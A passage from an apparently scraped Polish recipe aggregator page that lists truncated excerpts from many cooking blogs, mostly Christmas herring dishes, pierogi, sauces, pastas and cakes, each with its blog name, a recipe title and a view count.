rodzynki i orzechy, dokładnie wszystko razem mieszamy i posypujemy dekoracyjnie płatkami migdałów. Smacznego Kutia Wigilijna Zapraszam również do skorzystania z innych przepisów: Przepis na śledzie po kaszubsku Śledzie w sosie musztardowym Pierogi z kapustą i grzybami Artykuł Kutia wigilijna – tradycyjny przepis pochodzi z serwisu Księga Smaku

Księga-Smaku
Pasztet 198

stopniach. 10 minut przed końce pieczenia, wrzucamy kawałki wątróbki. Po tym czasie całość odstawiamy do ostygnięcia, najlepiej na parę godzin. Następnie kajzerki kroimy w mniejsze kawałki i moczymy w sosie z pieczenia mięsa. Wszystkie składniki z pieczenia, a także bułki mielimy w maszynce. Ja zrobiłam to raz, możecie to przemleć dwa albo i trzy razy. Całość doprawiamy imbirem, gałką, solą

Kardamonovy
Sycący kociołek z mięsem i warzywami 516

papryce przyjemnie rozgrzewa w zimne dni. W proponowanym przeze mnie kociołku znajdziecie mięso wieprzowe, ziemniaki, czerwone papryki, cebule, ogórki konserwowe, paprykę peperoni, a to wszystko w pysznym i aromatycznym sosie. Uwielbiam! SKŁADNIKI 1,4 kg mięsa wieprzowego z łopatki 2 duże cebule 1 czerwona cebula oliwa 1 czerwona papryka peperoni 4 liście laurowe 10 ziaren ziela angielskiego 900 g ziemniaków

Passions hobbies life
Jajka na twardo z suszonymi pomidorami 187

majonezem często goszczą na naszych biesiadnych stołach. Często kiedy przygotowuję jajka na twardo łączę majonez z ostrym chrzanem, taka wersja smakuje obłędnie! Jajka na twardo ze szczypiorem, marynowanymi warzywami, sosem tatarskim, anchois, śledziem czy puree pieczarkowym jest dobrze znana. Dziś prostota i smak, jak zawsze. Jajka ugotowane na twardo z majonezem, przyprawami i suszonymi pomidorami. Delikatne, proste, bardzo smaczne

Zasmakuj Kuchni
Śledzie w śmietanie z suszoną żurawiną 279

dodawać do nich różne suszone owoce - klik , czy to rodzynki, czy śliwki, czy jak w tym przypadku żurawinę. Wracając do przepisu... Tak przygotowane śledzie są niezwykle smaczne, a sam sos delikatny i idealnie komponujący się z całością.   Cebula wymieszana z cukrem jest łagodna, natomiast żurawina to taka kropka nad "i". Jeśli lubicie śledzie to koniecznie spróbujcie tej prostej

Di gotuje
MAK 164

bułki oraz dodaje się do wielu zachodnich ciast i ciasteczek np. makownika, strucla i duńskich wypieków. Podsmażony na maśle mak można dodać do makaronu. Mak podkreśla smak warzyw i sosów zwłaszcza szparagów i warzy korzennych. Mak w kuchni Bliskiego Wschodu i żydowskiej dodaje się do pieczywa, ciast, cukierków i precli. indyjskie pieczywo Chapatis może zawierać mak. Olej pozyskiwany z ziaren

Ciastka - domowe słodkości
Tort makowo - ajerkoniakowy z nutą cytrusową 356

Polewa czekoladowa: Czekoladę posiekać. Śmietankę kremówkę przelać do garnuszka, postawić na palniku i mocno podgrzać, prawie do wrzenia. Dodać posiekaną czekoladę, odstawić na chwilę, następnie wymieszać do otrzymania gładkiego sosu, na koniec dodać miękkie masło i wymieszać do jego rozpuszczenia. Polewę lekko przestudzić. Przestudzoną, ale wciąż płynną polewę wylać na schłodzony tort: zaczynając od środka tortu zataczać kręgi

Opowieści z piekarnika
Ryba po grecku 156

cebulę i rozdrobniony czosnek, smażymy 2 minuty, dodajemy ugotowane warzywa (razem z z wywarem, w którym się gotowały), przecier, paprykę, sól, pieprz, dokładnie mieszamy i gotujemy parę minut. Jeżeli sos pomidorowy wyszedł za rzadki, gotujcie całość bez przykrycia, do zredukowania płynu. Rybę układamy w naczyniu i na nią nakładamy warzywa (po wyciągnięciu liścia i ziela angielskiego), można to również zrobić

Kardamonovy
Pasta z tuńczykiem, rukolą i suszonymi pomidorami 188

śniadanie, więc proszę bardzo - łapcie. Szkoda, że dopiero w wieku 35 lat wpadłam na pomysł dodania rukoli do tego typu pasty. Cudo. Składniki: puszka tuńczyka w kawałkach w sosie własnym 5 suszonych pomidorów z zalewy mała garść rukoli pół łyżeczki soku z cytryny 2-3 łyżki jogurtu naturalnego 1 łyżeczka majonezu  sól pieprz Z tuńczyka odlewamy zalewę, wrzucamy

Kardamonovy
Zupa pieczarkowa z serem pleśniowym 166

zwykle u mnie bywa, zmieniłam koncepcję na potrawę. Miał być sos, skończyłam na zupie. Wyszła super. Mam nadzieję, że macie świadomość tego, że zupa wyszła nieco tłusta. Nic to, jest zima czy coś, więc można przymknąć na to oko. Mona, dzięki za michę :D.  Składniki: 2 litry bulionu warzywnego 500 g pieczarek 1 mała cebula 100 g sera

Kardamonovy
Śledzie w sosie pomidorowym z żurawiną 179

małym ogniu przez kolejne 10-15minut, aż pomidory się całkiem rozgotują. Studzimy. Filet ze śledzia moczymy w tym czasie w wodzie, odsączamy. Kroimy na paski. Dodajemy do sosu - mieszamy. Odkładamy do lodówki na noc, aby składniki się przegryzły

Lena Gotuje
Sałatka z tuńczykiem i kapustą pekińską 261

Składniki: (Inspiracja: " Mgotuje ") 1 mała lub 0,5 dużej kapusty pekińskiej 1 czerwona papryka 4-5 ogórków konserwowych 3-4 ugotowane na twardo jajka  1 puszka tuńczyka w sosie własnym 1 mała czerwona cebula (dobrze by było gdyby nie była za ostra) sól, pieprz majonez ew. kiełki (ja posypałam sałatkę delikatnie kiełkami brokuła, ale spokojnie można je pominąć

Simply Food
Knedle z kiszoną kapustą, morelami, grzybami... wg Ewy Wachowicz 200

cebuli: Na patelni rozgrzałam oliwę i wsypałam pokrojoną cebulę. Po chwili dodałam tymianek. Wymieszałam. Przyprawiłam solą i pieprzem. Chwilę podsmażyłam i dodałam pozostałe składniki.   Smażyłam do momentu, kiedy sos się trochę zredukował. Zestawiłam z ognia. Czas na zrobienie knedli : Ziemniaki ugotowałam w mundurkach, po obraniu przepuściłam przez praskę. Wystudziłam, wsypałam obie mąki, wbiłam jajko. Wymieszałam. Ręką wyrobiłam ciasto

Kuchnia u Krysi
Śledzie z grzybami. 161

pokrój w cienkie paski i wymieszaj z cebulą. Następnie dodaj koncentrat pomidorowy, zioła, dopraw do smaku pieprzem i solą ( przed posoleniem potrawy spróbuj ją może nie trzeba solić ), wymieszaj. Sos wystudź, dodaj do niego kawałki śledzi i odstaw w chłodne miejsce ( np. do lodówki ) na  1 lub 2 dni, aby nabrały smaku

Przepisy i porady kulinarne
Roladki z mięsa mielonego w sosie grzybowym 1567

miękkie. Jeśli płyn za bardzo odparował podczas duszenia to dolać wody, jeśli aromat grzybów jest zbyt słaby można dolać tej wody w której moczyły się grzyby. Całość ponownie zagotować. Sos doprawić do smaku i zagęścić mąką jeśli jest zbyt rzadki. Gotowe roladki podałam z kluskami i buraczkami

Monia miesza i gotuje
ŚWIĄTECZNA PRZYSTAWKA Z BRUKSELKĄ 145

suszonych śliwek 3 brukselki średniej wielkości 1 małe jabłko z ładną skórką 5 łyżek pokrojonej kapusty kiszonej 2 łyżki ketchupu (np Kotlin ketchup łagodny) 1 łyżeczka miodu 1 łyżeczka sosu sojowego 3 łyżki wody pieprz sól [...] Artykuł ŚWIĄTECZNA PRZYSTAWKA Z BRUKSELKĄ pochodzi z serwisu sandrafrej.com

SandraFrej.com
Mini sałatka z tuńczykiem i jajkiem przepiórczym w serowej skorupce 204

kukurydzę i starty ser. Udekorować nadzianymi na wykałaczki jajkami przepiórczymi. Smacznego #kotlin #iloveketchup #smaknr1 #BEZograniczen To też może Cię zainteresować: Paluchy ziemniaczane ze szpinakiem, suszonymi pomidorami, orzeszkami ziemnymi i sosem czosnkowo-orzechowym Jajka zięcia Stek z tuńczyka w sezamie z sałatką z rukoli i pomarańczy Pasta z przepiórczych jajek z awokado i rzeżuchą     (adsbygoogle = window.adsbygoogle || []).push

Oryginalny smak
Bataty faszerowane czerwoną soczewicą 155

łyżce oliwy, dodać przeciśnięty czosnek, kumin i chilli, następnie wlać passatę i gotować kilka minut.  Upieczone bataty wyjąć z piekarnika, wybrać z nich łyżeczką miąższ, który dodać do sosu. Wrzucić do niego również ugotowaną soczewicę, całość przemieszać i pogotować jeszcze 2 minuty. Doprawić solą i pieprzem. Wydrążone bataty napełnić farszem z soczewicy, polać jogurtem i posypać listkami świeżej kolendry

wyzwania kuchenne
Kotleciki drobiowe na patyku 171

drobiowe na patyku Przepis bierze udział w konkursie ;)   #kotlin #iloveketchup #smaknr1 #BEZograniczen Kotleciki w sam raz na raz, szybkie , smaczne i bardzo ładnie podane. Podawać można z różnymi sosami, ja podałam z keczupem. Smakują dobrze na ciepło jak i na zimno. Składniki  filet drobiowy - 500 g cebula - 1 szt sól i pieprz bułka kajzerka - 1 szt tłuszcz

Kuchnia Danusi
Pierogi ze szpinakiem i łososiem 210

szpinakowo-łososiowym farszem. Te pierogi smakują najlepiej podane prosto “z wody”. Możecie dodatkowo je okrasić odrobiną Optima Cardio. Pierogi będą komponować się także doskonale z sosem holenderskim . Przepis na pierogi przygotowałam w ramach kampanii Optymalne Święta. Chcemy pokazać, że święta mogą być smaczne i zdrowsze, stąd pomysł na poniższe danie. Wraz z innymi, 11 blogerami przygotowaliśmy

Kuchnia Bazylii
Schab ze śliwką w galarecie 241

rękawa do pieczenia i umieszczamy w naczyniu żaroodpornym. Wkładamy do nagrzanego do 180-200 stopni piekarnika i pieczemy ok.1,5 godziny, co jakiś czas obracając schab w naczyniu. Pozostały sos z pieczenia przelać do garnka, dolać wody do 1 litra. Dodać rozpuszczoną żelatynę. Schab pociąć na grube plastry. Zalać galaretą. Zostawić do stężenia. Bardzo mi będzie miło jeżeli polubisz, skomentujesz

Cukiernia Pychotki
Empanadas z meksykańskim farszem 185

wersją z ciasta francuskiego, drożdżowego lub nawet pierogowego. Ja chcę Wam zaproponować wersję z ciasta francuskiego z nadzieniem typowo meksykańskim, czyli czerwoną fasolą, kukurydzą, mięsem mielonym i ostrym sosem w postaci mega pikantnego Ketchupu Kotlin z piekła rodem Extra Hot. Taką przekąską bez wątpienia zaskoczycie swoich gości. SKŁADNIKI 350 g mięsa mielonego wieprzowego z łopatki 1 cebula oliwa 1 puszka

Passions hobbies life
Śledzie na ciepło z migdałami i żurawiną 211

każdego rolmopsa ułożyć migdał z farszu. Rozdzielić je plasterkami cytryny. Wstawić na 5 minut do piekarnika rozgrzanego do 180 stopni, żeby śledzie były ciepłe i przyrumienione z góry. Odsączyć sos, który puszczą śledzie i ostrożnie przełożyć na talerz (można też po prostu zapiec na talerzu, który dobrze znosi temperaturę). Podawać na ciepło posypane resztą koperku i słodką papryką w proszku

Ugotowane pozamiatane
Tradycyjne placki ziemniaczane 363

razu proponuję usmażyć podwójną porcję i podać na dwa sposoby. Jedną partię placków ziemniaczanych możesz podać z kwaśną śmietaną i cukrem. Połowę placków ziemniaczanych podaj np. z domowym sosem czosnkowym

AniaGotuje.pl
IMPREZOWE BUŁECZKI 308

zimne możemy je podgrzać w mikrofalówce i będą jak z piekarnika- świeżutkie i pyszne !  Środek bułeczek jest z ciągnącym się serem i pieczarkami, a bazą sosu jest ketchup.  Pyszna przekąska z prostych składników, które prawie zawsze mamy w domu.  Długo są świeże i nie twardnieją.  Rewelacja <3  ~~PRZEPIS~~ Ciasto mąka pszenna

Kuchnia Paulettes
Tagliatelle z cukinią 143

smażyć, aż zmięknie. 4) Całość zalać śmietanką, doprawić solą i pieprzem. Kiedy zacznie się gotować dosypać parmezan i ponownie wymieszać. 5) Na koniec dorzucić ugotowany makaron i połączyć z sosem. 6) Podawać posypane startym parmezanem. Artykuł Tagliatelle z cukinią pochodzi z serwisu FitSweet

Fitsweet.me
Chlebek bananowy z masłem orzechowym 160

tych rotacji chlebek jest o wiele zdrowszy od tradycyjnych wypieków. A każdego kto lubi wilgotne, bananowe wypieki i nie liczy kalorii zapraszam również po przepis na BANANOWE MUFFINKI Z SOSEM KARMELOWYM Składniki (forma 12 cm x 31 cm): Chlebek: Ważne: składniki powinny mieć temperaturę pokojową. 3 bardzo dojrzałe banany + 1 na górę ciasta 1,5 szklanki (210 g) mąki, może

Fitsweet.me
Pełnoziarniste tagliatelle z dynią i szałwią 181

chili, doprawić solą oraz pieprzem i dokładnie wymieszać. 6) Całość zalać śmietanką, dodać parmezan i w razie potrzeby jeszcze doprawić. 7) Na koniec dorzucić ugotowany makaron i połączyć z sosem. 8) Gotowy makaron podawać posypany parmezanem z listkami szałwii.   Artykuł Pełnoziarniste tagliatelle z dynią i szałwią pochodzi z serwisu FitSweet

Fitsweet.me
Szarlotka w słoiku – Deser jabłkowy bez pieczenia 219

pianę, a następnie cały czas miksując dodawać partiami serek mascarpone i cynamon. 6) Na dno każdego słoiczka/szklanki pokruszyć po trzy herbatniki. Na herbatniki nałożyć karmelizowane jabłka razem ze sosem. 7) Całość udekorować za pomocą szprycy cukierniczej kremem z bitej śmietany oraz mascarpone i posypać prażonymi płatkami migdałów. 8) Deser podawać na ciepło od razu po przygotowaniu lub schłodzić

Fitsweet.me
śledzie po sułtańsku 323

odstawić na ok. 30 min. aby pozbyć się nadmiaru soli, następnie odsączyć z wody, skropić sokiem z cytryny i odstawić na ok. 15 min.) Pokrojone śledzie dodajemy do wystudzonego sosu, mieszamy. Przekładamy do słoiczka i schładzamy w lodówce. Najlepiej przygotować je dzień przed podaniem aby smaki mogły się „przegryźć

Domowy Smak Jedzenia
Schab Peklowany, Pieczony 200

niż te 2 godziny ). Pod koniec pieczenia ( tak z ostatnie 20 minut )możemy odkryć mięso i odparować namiar soków oraz przyrumienić je. 6. Upieczone mięso zostawiamy pod przykryciem, w sosie który się wytopił aż do ostygnięcia. Wystudzone przechowujemy w lodówce

Gotowanie...to proste !
SZYBKO-PYSZNY MAKARON W CZTERECH KROKACH Z KURCZAKIEM I WARZYWAMI 221

Pierś z kurczaka kroimy w kostkę. Doprawiamy - sól, pieprz, przeciśnięty przez praskę czosnek, zioła do drobiu, łyżka sosu sojowego - mieszamy i odstawiamy żeby smaki się połączyły 2. Na patelnie wrzucamy mrożone warzywa (u mnie mieszanka z brokułem, kalafiorem, marchewką, groszkiem, fasolką). Gdy już się rozmrożą lub wrzuciliśmy już rozmrożone dajemy im chwilkę, dodajemy masło oraz kurczaka.  3. Dodajemy

BezglutenowaIzabela
"ZAJĄC" - REGIONALNA PIECZEŃ WIEPRZOWA 813

jakiegoś zaprzyjaźnionego rzeźnika...trzeba trochę pokombinować 😅 Czasami w środku pieczeni znajdziemy polędwiczkę wieprzową . Pieczeń ta wyśmienicie smakuje zarówno na zimno jak i na gorąco. Pokrojona w plastry i polana sosem...mniam! Idealny obiad ❤👌👌 Jak w domu zrobić fantastyczną pieczeń z mięsa mielonego - sprawdzony przepis krok po kroku. Oto przepis wg. którego ja przygotowałam pieczeń wieprzową zwaną "zającem" ↓↓↓↓↓ SKŁADNIKI

Moja Książka Kucharska
Sałatki na Święta - zestawienie 243

kebab - gyros 10.  Sałatka z makaronem ryżowym i wędzonym kurczakiem  11.  Sałatka z wędzonym kurczakiem  12. Sałatka król imprezy 13. Sałatka warstwowa z kurczakiem i sosem czosnkowym

kruche babeczki
Drobiowa fajita 185

wrzuć paprykę i cebulę, dodaj odrobinę oleju, smaż pod przykryciem przez 5 minut po 5 minutach dodaj do papryki mięso, dokładnie wszystko razem wymieszaj podawaj z tortillami, kwaśną śmietaną, sosem gueacamole czy salsą Smacznego

Oka w rosole czyli KaFka gotuje
PIECZONE PIEROGI Z MIĘSEM MIELONYM, FASOLĄ CZERWONĄ I MOZARELLĄ 235

Każdy krążek napełniać łyżeczką farszu, skleić brzegi. Ułożyć na blaszce, posmarować rozkłóconym jajkiem, piec w 180 stopniach na termoobiegu ok. 30 min do zarumienienia.  Podawać z sosami: koperkowym, czosnkowym, pomidorowym  SMACZNEGO

pieprzny smaczek
Kapusta pak choy/bok choi 246

kuchni chińskiej. Ja używałam do zupy jarzynowej, zapiekanek (wystarczy dodać kapustę kilka minut przed końcem gotowania) i surówek. Świetnie komponuje się z tofu, imbirem, sezamem, innymi warzywami i sosem sojowym. Dostałam kilka sztuk od moich rodziców, ale ponoć można ją znaleźć na targach rolniczych lub w niektórych supermarketach. Pay choy/Bok choi It tastes slightly bitter, has got chunky, deep-green

Qlinarnie i Qlinarnie
Rolady wieprzowe z mięsem mielonym oraz śliwką 230

wieprzowe z mięsem mielonym oraz śliwką Składniki. 6 schabów wieprzowych 40 dkg mięsa mielonego 12 plastrów boczku 3 duże śliwki 1 i 1/2 łyżeczka soli 6 łyżek musztardy Dijon Sos: 250 ml wywaru warzywnego 4 gałązki rozmarynu 3 duże śliwki Rolady wieprzowe z mięsem mielonym oraz śliwką Przygotowanie. Schaby wieprzowe rozbić na cienkie plastery tłuczkiem do mięsa. Każdy z plastrów

mecooks
Grissini z makiem – włoskie paluszki 138

Wspaniała przekąska! Wystarczy dodać ulubione zioła, czosnek, paprykę, sezam czy mak, by urozmaicić ich smak. Podawajcie je z różnymi dipami czy pesto. Maczajcie je w ulubionych sosach i cieszcie się ich chrupkim smakiem. Ciekawa przekąska także dla najmłodszych fanów kuchni Łatwe w przygotowaniu. Warto je zrobić, by przekonać się że domowe przekąski smakują najlepiej. Składniki: 250 g mąki pszennej

Zasmakuj Kuchni
Salsa słodko-kwaśna 160

Połączenie ze sobą (kto by pomyślał?) passaty, majonezu i słodkiej konfitury dało tyle radości, że do chrupiących domowych nuggetsów nie mogliśmy się jej wręcz oprzeć! Salsa

Zasmakuj Kuchni
Ryba z brzoskwiniami 245

kawałki, posolić, popieprzyć, opanierować w mące i usmażyć na rozgrzanym oleju. Przełożyć na talerz. Ceulę i brzoskwinie pokroić w kostkę. Soku z brzoskwiń nie wylewać przyda nam się do sosu. Patelnię po smażeniu ryby delikatnie oczyścić ręcznikiem papierowym i ponownie rozgrzać z odrobiną oleju. Zeszklić cebulę i dodać pokrojone w kostkę brzoskwinie. Smażyć około 3-5 minut następnie dolać

Pieguskowa Kuchnia
Jak tanio zrobić domowe sushi 342

Prawdziwe sushi zjecie tylko w Japonii. Jednak aby skosztować tego przysmaku nie musicie ani jechać do kraju kwitnącej wiśni, ani wydawać majątku na zestaw sushi w

Kulinarnyblog.pl - wiesz jak gotować!
Kolorowy talerz 197

ugotowane w skórce, pokrojone na plasterki Kiszone rzodkiewki Kiszone papryki Kiszona kapusta Pomidorek Brokuł - wodę zagotowujemy, wkładamy różyczki brokuła, od zagotowania gotujemy 5 minut - przecedzamy Fasola Jaś Karłowy - ugotowana Sos koperkowo-czosnkowy  - do naczynia, np słoika wkładamy pęczek koperku, 5 łyżek słonecznika, 2 ząbki czosnku, zalewamy dowolnym olejem tłoczonym na zimno - blendujemy

Szkrab Je Sam
Śledzik na święta 183

Święta bez śledzika?! Nigdy! Ale czy jedliście w sosie miodowo - majonezowym? Z płatkami migdałowymi... pycha! Potrzebujemy: Czytaj więcej

Tylko pysznie
Śledzie w śmietanie - proste i smaczne danie. 178

obieram. Jabłka obierz ze skórki, zetrzyj na tarce o dużych oczkach. Pokrojoną cebulę , ogórki, starte jabłka wymieszaj z majonezem i śmietaną. Śledzie włóż do salaterki, wymieszaj z przygotowanym sosem śmietanowym. Możesz doprawić odrobiną soli i pieprzu. Odstaw na około 2 godziny w chłodne miejsce. Następnie podaj na stół.    R ada : Jeśli dbasz o sylwetkę to śmietanę możesz zastąpić

Przepisy i porady kulinarne
Śledzie z grzybami w pomidorach 405

czasie cebule kroimy w piórka, dusimy pod przykryciem na rozgrzanym tłuszczu. Następnie dodajemy grzyby, rodzynki i koncentrat pomidorowy. Smażymy, bez pokrywki, by woda z grzybów odparowała. Studzimy. Do sosu dodajemy pokrojone filety ze śledzi, dokładnie mieszamy, przekładamy do miski i schładzamy w lodówce, by smaki się przegryzły. Wyjmujemy, kosztujemy i doprawiamy do smaku solą, pieprzem i ewentualne cukrem. Ponownie wstawiamy

R'n'G Kitchen
Śledzie na słodko z rodzynkami 295

półksiężyce. Następnie należy zeszklić cebulę. Do cebuli dodajemy koncentrat pomidorowy, miód, sok z cytryny oraz rodzynki. Doprawiamy solą i pieprzem. Podgrzewamy wszystko dokładnie mieszając. Śledzie przekładamy wystudzonym pomidorowym sosem.   Artykuł Śledzie na słodko z rodzynkami pochodzi z serwisu Rusty fork

Rusty Fork
Quesadilla z kurczakiem i warzywami 215

Quesadilla, to świetna przekąska wprost z kuchni meksykańskiej. A jak kuchnia meksykańska, to koniecznie pikantny sos. I tutaj idealnie się sprawdzi Ketchup Kotlin z piekła rodem Extra Hot . To idealny dip do tej potrawy. Zresztą sami spróbujcie, to się przekonacie :-) SKŁADNIKI 8 tortilli kukurydzianych 330 g piersi z kurczaka 450 g mrożonej mieszanki węgierskiej (papryka, pomidor, cukinia, cebula

Passions hobbies life
Ciastka ryżowe z azjatyckim sosem 152

nazwa to w tłumaczeniu na polski właśnie ciastka, więc taka nazwa zostaje. Gotuje się je kilka minut w wodzie i są gotowe. Teraz wystarczy do nich zrobić tylko dobry sos w azjatyckim stylu

Milion Smaków
Rolady wieprzowe z mięsem mielonym i śliwką 229

wieprzowe z mięsem mielonym i śliwką Składniki. 6 schabów wieprzowych 40 dkg mięsa mielonego 12 plastrów boczku 3 duże śliwki 1 i 1/2 łyżeczka soli 6 łyżek musztardy Dijon Sos: 250 ml wywaru warzywnego 4 gałązki rozmarynu 3 duże śliwki Rolady wieprzowe z mięsem mielonym i śliwką Przygotowanie. Schaby wieprzowe rozbić na cienkie plastery tłuczkiem do mięsa. Każdy z plastrów

mecooks
Knedel z kaszy manny i sera 119

garnka z wrzącą osoloną wodą i gotować 30 minut od zagotowania wody. Knedel z kaszą manną i serem można podawać z kwaśną śmietaną, masłem i cukrem, lub z sosem. Ja podałam z kurkami. zastawa

królestwo garów
Pierś z kurczaka w sosie pomarańczowym 253

pomarańczową oraz mrożoną żurawinę. Dodajemy cukier.  Smażymy wszystko pod przykryciem 10 minut. Co chwile poruszając patelnią w celu zamieszania.  Propozycja podania:  Filety układamy na talerzach, polewam sosem i dekorujemy kawałki wyfiletowanej czwartej pomarańczy.  Do przygotowaia tej potrawy użyłam patelni   Ambition z nowej linii Ambition   Nature , która swoją fakturą przypomina kamień, a rączki imitują drewno

Życie zaczyna się w kuchni
Pieczona owsianka ze śliwkami 207

posiłku podziękowałam, popatrzył na mnie uważnie i stwierdził, że wyglądam na zdziwioną. Byłam, więc przyznałam się bez ogródek. Później przegadaliśmy chyba ze dwadzieścia minut na temat serc serwowanych w sosie śmietanowym, ich smaku, konsystencji, a także innych możliwości na podanie tego dość specyficznego smakołyku. Tak więc on mówi mi, czego koniecznie muszę spróbować, bo akurat znakomicie mu się udało

Pożeraczka, czyli raz adobrze
Pampuchy drożdżowe z mięsem 247

pracy weźmie i się nie zmarnuje. Mięso akurat pasuje do nich idealnie, więc tym bardziej było mi to na rękę, by te dwie rzeczy połączyć. Zastanawiałam się tylko nad sosem i szczerze powiedziawszy w planach był pomidorowy lub pieczarkowy, ale gdzieś mi już czasu brakło, więc zostało na zwykłej słonince. Co wcale nie znaczy, że było mniej smacznie 😜 Powiem

Kuchnia w czekoladzie
Muffinki a’la brownie z kremem orzechowym 174

uzyskania syropu. Dodajemy czekoladę. Gotujemy, do momentu rozpuszczenia się czekolady. Studzimy. W głębokiej misce łączymy ze sobą mąkę z proszkiem do pieczenia. Dodajemy jajko. Ręcznie łączymy ze sobą. Dodajemy sos czekoladowy. Mieszamy, aż składniki się połączą. Formę na muffinki wykładamy papilotkami. Nakładamy do 2/3 wysokości. Pieczemy 20-25 minut w 180 stopniach(do suchego patyczka). Studzimy. Śmietanę mocno chłodzimy. Zimną

Ciasta z tradycjami
Krem angielski czyli sos do ciast i deserów – praktyczne porady 192

Krem angielski jest to dosyć prosty, ale zarazem wymagający uwagi krem. Konsystencja kremu angielskiego zbliżona jest to budyniu. Krem angielski stanowi doskonałą bazę do wszelkich sosów, które wykorzystujemy w deserach czy ciastach. Składniki: 250 ml mleka 3,3% 20 g cukru (2 łyżki) 10 g cukru waniliowego (1 łyżka) 3 -4 żółtka Mleko zagotowujemy z cukrem waniliowym. odstawiamy do przestudzenia

Ciasta z tradycjami
LEKSYKON BAKALII 214

pajączków", bo zawarte w nich witaminy C i K uszczelniają naczynia krwionośne. Zastosowanie: Są głównym składnikiem wigilijnego kompotu z suszu, ale dodaje sieje do wielu innych potraw: bigosu, sosów, ciast. Świetnie komponują się z mięsem np. pieczonym schabem. Suszone śliwki wspaniale komponują się z jogurtem, czy z babeczkami. Źródło: internet RODZYNKI To ususzone na słońcu specjalne bezpestkowe gatunki winogron. Jest

Ciastka - domowe słodkości
Kuchnia meksykańska i domowe tortille z fasolą i mango 229

pory można przyrządzić całą masę meksykańskich tradycyjnych dań bez mięsa. Uwielbiam dania z dodatkiem strączków, kocham przeróżne odmiany papryki, lubię testować ich ostrość. Tabasco i inne tego typu sosy z chili, kupuję prawie […] Artykuł Kuchnia meksykańska i domowe tortille z fasolą i mango pochodzi z serwisu Mienta blog

Mienta blog
EKSPRESOWY OBIAD Z MAKARONEM Z ZUPEK CHIŃSKICH 188

jakiś czas mieszam. Na patelnię wlewam śmietankę i dodaję przyprawy - sól, pieprz, paprykę i curry, mieszam. Gotuję na małym ogniu 1-2 minuty. Makaron odcedzam i dodaję do sosu, mieszam i jeszcze przez chwilę razem gotuję. W razie potrzeby doprawiam do smaku

JejKuchnia
Makaron z sosem pomidorowo-paprykowym 206

Prosty pomysł na sos do makaronu. Całość posypuję parmezanem i świeżą bazylią. Marchewkę obrać i zetrzeć na tarce o dużych oczkach. Paprykę pokroić w kostkę. Do garnka włożyć paprykę, pomidory

Bullio
Sałatka na krakersach 281

Składniki: 36 krakersów 1 puszka tuńczyka sos 1000 wysp 1/2 szalotki 4 jajka 15 dkg sera żółtego majonez pieprz szczypiorek Przygotowanie: Ser żółty zetrzeć na tarce o drobnym oczku, dodać … Czytaj dalej Sałatka na krakersach

czarrna od kuchni
KLUSKI KŁADZIONE 2014

gotującej wodzie. Krok 4. Gotujemy przez 5 minut, cedzimy na sicie, przelewamy wrzącą wodą, odsączamy. Gotowe wykładamy na ogrzane talerze. Podajemy jako dodatek do gulaszu, do mięs z sosem, a także polane skwarkami ze świeżej słoniny i posypane serem.  Smacznego :) zobacz inne przepisy na potrawy mączne

Moja Książka Kucharska
Pieczeń z dzika z suszonymi śliwkami na puree z pieczonej papryki i batata 209

Dajar (rabat obowiązuje do 31.12.2017r.) #myAmbition To też może Cię zainteresować: Świąteczna pieczona łopatka z czosnkiem Pieczony schab z morelami i śliwkami Przepiórki w boczku Jagnięcina podhalańska z sosem balsamicznym, szparagami i pieczonymi ziemniakami z rozmarynem     (adsbygoogle = window.adsbygoogle || []).push

Oryginalny smak
FILET Z PSTRĄGA ŁOSOSIOWEGO Z PURÉE Z BROKUŁA 184

pomidorków koktajlowych ● 1 czerwona cebula ● 4 gałązki bazylii ● 4 gałązki natki pietruszki lub kolendry ● 2 ząbki czosnku ● 1 cytryna ● oliwa z oliwek ● ok. 4 łyżki gęstej śmietany do sosów ● gałka muszkatołowa ● sól i pieprz Przygotowanie: Brokuła umyj i osusz, podziel na różyczki, odetnij stwardniałe części. Ugotuj na parze z obranymi ząbkami czosnku do miękkości (około 15 minut). Ugotowanego brokuła rzełóż

Smaki Francji współczesna kuchnia francuska
Placki z kalafiora 161

Jedne z pyszniejszych placków jakie usmażyłam. Wilgotne, mięsiste i mega pyszne. Idealne z sosem koperkowo - śmietanowym. Mój obiad często tak wygląda a jak Wasze obiady? są podobne czy zupełnie inne? Placki z kalafiora. ROZWIŃ I CZYTAJ DALEJ

Moje Małe Czarowanie
Majonez z ziemniaka 409

Majonez z ziemniaka Polska to kraj szans, cebuli i ziemniaka… No dobra, o ile z tymi szansami, to subiektywna i zamglona wizja, to cebuli i

Blendman
Suszone żółtko – omami smakiem umami 208

Jajko – wielu szefów kuchni z pewnością uważa, że ten składnik nie ma już przed nimi żadnych tajemnic. Doceniają je za uniwersalność: można używać ich do zup, sosów, jako przystawkę, dodatek a nawet najważniejszy element dań głównych. Czy jajko może czymś jeszcze zaskoczyć w kwestii smaku? Okazuje się, że zdecydowanie tak. Technika, która zostanie poniżej omówiona, to tak zwane suszenie żółtek

codojedzenia
Tagliatelle z tuńczykiem, szpinakiem i groszkiem 199

witaminę C, zawiera sporo żelaza. Powinny go szczególnie jeść osoby osłabione i cierpiące na anemię. Jedzcie go na zdrowie często! Składniki: 220 g makaronu tagliatelle puszka tuńczyka w sosie własnym (1 puszka 185 g) 80 g liści szpinaku baby (1 opakowanie) 0,5 szklanki groszku konserwowego 180 g śmietany 12% (mały kubeczek) 3 łyżeczki jogurtu naturalnego gęstego 2 ząbki czosnku

Zasmakuj Kuchni
Zapiekany kurczak na boczku i ziemniakach 187

olejem i przyprawą. Przekładamy do naczynia żaroodpornego. Na wierz wykładamy plastry boczku. Udka z kurczaka oczyszczamy, osuszamy papierowym ręcznikiem. Majonez mieszamy z musztardą, wrzucamy mięso, dokładnie łączymy z sosem. Na plastry boczku układamy mięso, które oprószamy przyprawą do kurczaka. Całość zapiekamy 50 min pod przykryciem w temperaturze 200°C, następnie 10-15 min w termoobiegu, w tej samej temperaturze

R'n'G Kitchen
Karkówka z cebulą pieczona w keczupie 212

Jeden z najprostszych sposobów na karkówkę. Przygotowanie zajmuje niewiele czasu, a efekt jest bardzo smaczny. Soczyste miękkie mięso w pachnącym gęstym sosie.  Przygotowanie (4 porcje) -800 g karkówki w plastrach -5 cebul -1 opakowanie keczupu (u mnie ostry) -sól, pieprz, papryka ostra/słodka/wędzona albo ulubiona przyprawa do mięsa (np. staropolska) Przygotowanie Plastry karkówki umyć, każdy delikatnie pościskać

Zielona Kuchnia
O prawdziwej maszynie do lodów. I nugatowo-karmelowe semifreddo 229

